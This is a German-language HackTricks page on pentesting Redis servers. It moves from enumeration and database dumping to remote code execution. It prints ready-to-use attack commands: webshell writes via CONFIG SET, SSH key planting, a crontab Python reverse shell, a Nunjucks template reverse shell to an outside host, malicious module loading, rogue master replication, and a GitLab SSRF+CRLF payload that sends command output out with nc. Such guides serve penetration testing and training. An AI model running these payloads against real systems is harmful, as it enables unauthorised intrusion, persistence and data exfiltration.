hacktricks/network-services-pentesting/6379-pentesting-redis.md
2024-02-10 15:36:32 +00:00

20 KiB

6379 - Pentesting Redis

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

Treten Sie uns auf Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Grundlegende Informationen

Aus den Dokumenten: Redis ist ein Open-Source (BSD-lizenziertes), im Arbeitsspeicher befindliches Datenstrukturspeicher, der als Datenbank, Cache und Nachrichtenbroker verwendet wird.

Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber Sie müssen bedenken, dass es auch ssl/tls implementieren kann. Erfahren Sie hier, wie Sie Redis mit ssl/tls ausführen können: Redis mit ssl/tls ausführen.

Standardport: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatische Enumeration

Einige automatisierte Tools, die dabei helfen können, Informationen von einer Redis-Instanz zu erhalten:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manuelle Enumeration

Banner

Redis ist ein textbasiertes Protokoll, Sie können einfach den Befehl in einem Socket senden und die zurückgegebenen Werte werden lesbar sein. Beachten Sie auch, dass Redis mit SSL/TLS ausgeführt werden kann (aber das ist sehr seltsam).

In einer regulären Redis-Instanz können Sie einfach eine Verbindung mit nc herstellen oder Sie könnten auch redis-cli verwenden:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Der erste Befehl, den du ausprobieren könntest, ist info. Es kann Ausgabe mit Informationen über die Redis-Instanz zurückgeben oder etwas Ähnliches wie das Folgende wird zurückgegeben:

-NOAUTH Authentication required.

In diesem letzten Fall bedeutet dies, dass gültige Anmeldeinformationen erforderlich sind, um auf die Redis-Instanz zuzugreifen.

Redis-Authentifizierung

Standardmäßig kann auf Redis ohne Anmeldeinformationen zugegriffen werden. Es kann jedoch so konfiguriert werden, dass es nur ein Passwort oder Benutzername + Passwort unterstützt.
Es ist möglich, ein Passwort in der Datei redis.conf mit dem Parameter requirepass festzulegen oder vorübergehend, bis der Dienst neu gestartet wird, indem Sie eine Verbindung dazu herstellen und den Befehl ausführen: config set requirepass p@ss$12E45.
Außerdem kann ein Benutzername im Parameter masteruser in der Datei redis.conf konfiguriert werden.

{% hint style="info" %} Wenn nur ein Passwort konfiguriert ist, wird der Benutzername "default" verwendet.
Beachten Sie auch, dass es keine Möglichkeit gibt, extern festzustellen, ob Redis nur mit einem Passwort oder mit Benutzername + Passwort konfiguriert wurde. {% endhint %}

In Fällen wie diesem müssen Sie gültige Anmeldeinformationen finden, um mit Redis interagieren zu können. Sie könnten versuchen, es brute-force zu verwenden.
Wenn Sie gültige Anmeldeinformationen gefunden haben, müssen Sie die Sitzung authentifizieren, nachdem Sie die Verbindung mit dem Befehl hergestellt haben:

AUTH <username> <password>

Gültige Anmeldeinformationen werden mit +OK beantwortet.

Authentifizierte Enumeration

Wenn der Redis-Server anonyme Verbindungen zulässt oder wenn Sie gültige Anmeldeinformationen erhalten haben, können Sie den Enumerationsprozess für den Dienst mit den folgenden Befehlen initiieren:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Andere Redis-Befehle können hier gefunden werden und hier.

Beachten Sie, dass die Redis-Befehle einer Instanz umbenannt oder in der redis.conf-Datei entfernt werden können. Zum Beispiel entfernt diese Zeile den Befehl FLUSHDB:

rename-command FLUSHDB ""

Mehr Informationen zur sicheren Konfiguration eines Redis-Dienstes finden Sie hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Sie können auch in Echtzeit die ausgeführten Redis-Befehle überwachen mit dem Befehl monitor oder die 25 langsamsten Abfragen mit slowlog get 25 abrufen.

Weitere interessante Informationen zu Redis-Befehlen finden Sie hier: https://lzone.de/cheat-sheet/Redis

Datenbank dumpen

In Redis sind die Datenbanken numerisch und beginnen bei 0. Sie können überprüfen, ob eine Datenbank verwendet wird, indem Sie den Befehl info ausführen und den Abschnitt "Keyspace" überprüfen:

Oder Sie können einfach alle Keyspaces (Datenbanken) mit dem Befehl abrufen:

INFO keyspace

In diesem Beispiel werden die Datenbanken 0 und 1 verwendet. Datenbank 0 enthält 4 Schlüssel und Datenbank 1 enthält 1 Schlüssel. Standardmäßig verwendet Redis Datenbank 0. Um beispielsweise Datenbank 1 zu sichern, müssen Sie Folgendes tun:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Falls Sie den folgenden Fehler erhalten -WRONGTYPE Operation against a key holding the wrong kind of value während Sie GET <KEY> ausführen, liegt das daran, dass der Schlüssel möglicherweise etwas anderes als ein String oder eine Ganzzahl ist und einen speziellen Operator erfordert, um ihn anzuzeigen.

Um den Typ des Schlüssels zu erfahren, verwenden Sie den Befehl TYPE, wie im folgenden Beispiel für Listen- und Hash-Schlüssel.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

Datenbank mit npm dumpen redis-dump oder python redis-utils

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit schnellen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Redis RCE

Interaktive Shell

redis-rogue-server kann automatisch eine interaktive Shell oder eine Reverse-Shell in Redis (<=5.0.5) erhalten.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Information von hier. Sie müssen den Pfad des Website-Ordners kennen:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Wenn die Webshell-Zugriffsausnahme vorliegt, können Sie die Datenbank nach dem Backup leeren und es erneut versuchen. Vergessen Sie nicht, die Datenbank wiederherzustellen.

Vorlage Webshell

Wie im vorherigen Abschnitt können Sie auch eine HTML-Vorlagendatei überschreiben, die von einem Vorlagen-Engine interpretiert wird, um eine Shell zu erhalten.

Zum Beispiel können Sie in diesem Writeup sehen, dass der Angreifer eine Rev-Shell in einem HTML-Code injiziert hat, der vom Nunjucks-Vorlagen-Engine interpretiert wird:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Beachten Sie, dass mehrere Template-Engines die Templates im Speicher zwischenspeichern, sodass das Überschreiben keine Auswirkungen hat. In solchen Fällen hat entweder der Entwickler die automatische Aktualisierung aktiviert oder Sie müssen einen DoS-Angriff auf den Dienst durchführen (und erwarten, dass er automatisch neu gestartet wird). {% endhint %}

SSH

Beispiel von hier

Bitte beachten Sie, dass das Ergebnis von config get dir nach anderen manuellen Exploit-Befehlen geändert werden kann. Es wird empfohlen, es direkt nach dem Einloggen in Redis auszuführen. In der Ausgabe von config get dir finden Sie das Home-Verzeichnis des Redis-Benutzers (normalerweise /var/lib/redis oder /home/redis/.ssh). Wenn Sie dies wissen, wissen Sie, wo Sie die Datei authenticated_users schreiben können, um über SSH mit dem Benutzer redis darauf zuzugreifen. Wenn Sie das Home-Verzeichnis eines anderen gültigen Benutzers kennen, auf das Sie Schreibberechtigungen haben, können Sie es auch missbrauchen:

  1. Generieren Sie auf Ihrem PC ein SSH-Public-Private-Key-Paar: ssh-keygen -t rsa
  2. Schreiben Sie den öffentlichen Schlüssel in eine Datei: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importieren Sie die Datei in Redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Speichern Sie den öffentlichen Schlüssel in der Datei authorized_keys auf dem Redis-Server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Schließlich können Sie sich mit dem privaten Schlüssel über ssh auf den Redis-Server verbinden: ssh -i id_rsa redis@10.85.0.52

Diese Technik ist hier automatisiert: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Das letzte Beispiel ist für Ubuntu, für Centos sollte der obige Befehl wie folgt lauten: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Diese Methode kann auch verwendet werden, um Bitcoin zu verdienen: yam

Redis-Modul laden

  1. Befolgen Sie die Anweisungen unter https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, um ein Redis-Modul zu kompilieren, um beliebige Befehle auszuführen.
  2. Dann benötigen Sie eine Möglichkeit, das kompilierte Modul hochzuladen.
  3. Laden Sie das hochgeladene Modul zur Laufzeit mit MODULE LOAD /path/to/mymodule.so.
  4. Überprüfen Sie mit MODULE LIST, ob das Modul korrekt geladen wurde.
  5. Führen Sie Befehle aus:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Entladen Sie das Modul nach Bedarf mit MODULE UNLOAD mymodule.

LUA-Sandbox umgehen

Hier können Sie sehen, dass Redis den Befehl EVAL verwendet, um Lua-Code in einer Sandbox auszuführen. In dem verlinkten Beitrag können Sie sehen, wie man es missbrauchen kann, indem man die Funktion dofile verwendet, aber anscheinend ist dies nicht mehr möglich. Wie auch immer, wenn Sie die Lua-Sandbox umgehen können, können Sie beliebige Befehle auf dem System ausführen. Im selben Beitrag finden Sie auch einige Optionen, um eine DoS zu verursachen.

Einige CVEs zum Umgehen von LUA:

Master-Slave-Modul

Alle Operationen des Master-Redis werden automatisch auf den Slave-Redis synchronisiert, was bedeutet, dass wir den anfälligen Redis als Slave-Redis betrachten können, der mit dem von uns kontrollierten Master-Redis verbunden ist. Dadurch können wir Befehle in unseren eigenen Redis eingeben.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF mit Redis kommunizieren

Wenn Sie eine Klartext-Anfrage an Redis senden können, können Sie mit ihm kommunizieren, da Redis die Anfrage Zeile für Zeile liest und nur auf die Zeilen mit Fehlern antwortet, die es nicht versteht:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Daher, wenn Sie eine SSRF-Lücke in einer Website finden und einige Header (vielleicht mit einer CRLF-Lücke) oder POST-Parameter kontrollieren können, können Sie beliebige Befehle an Redis senden.

Beispiel: Gitlab SSRF + CRLF zu Shell

In Gitlab11.4.7 wurden eine SSRF-Schwachstelle und eine CRLF entdeckt. Die SSRF-Schwachstelle befand sich in der Importieren von Projekten von einer URL-Funktion, beim Erstellen eines neuen Projekts, und ermöglichte den Zugriff auf beliebige IPs in der Form [0:0:0:0:0:ffff:127.0.0.1] (dies greift auf 127.0.0.1 zu), und die CRLF-Schwachstelle wurde einfach durch das Hinzufügen von %0D%0A-Zeichen zur URL ausgenutzt.

Daher war es möglich, diese Schwachstellen zu missbrauchen, um mit der Redis-Instanz zu kommunizieren, die die Warteschlangen von Gitlab verwaltet, und diese Warteschlangen zu missbrauchen, um Codeausführung zu erlangen. Das Payload für den Missbrauch der Redis-Warteschlange lautet:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Und die URL-codierte Anfrage, die SSRF und CRLF missbraucht, um ein whoami auszuführen und die Ausgabe über nc zurückzusenden, lautet:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Aus irgendeinem Grund (wie der Autor von https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ feststellt, wo diese Informationen herkommen), funktionierte die Ausnutzung mit dem git-Schema und nicht mit dem http-Schema.

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit den neuesten Nachrichten und Einblicken aus der schnelllebigen Hacking-Welt auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: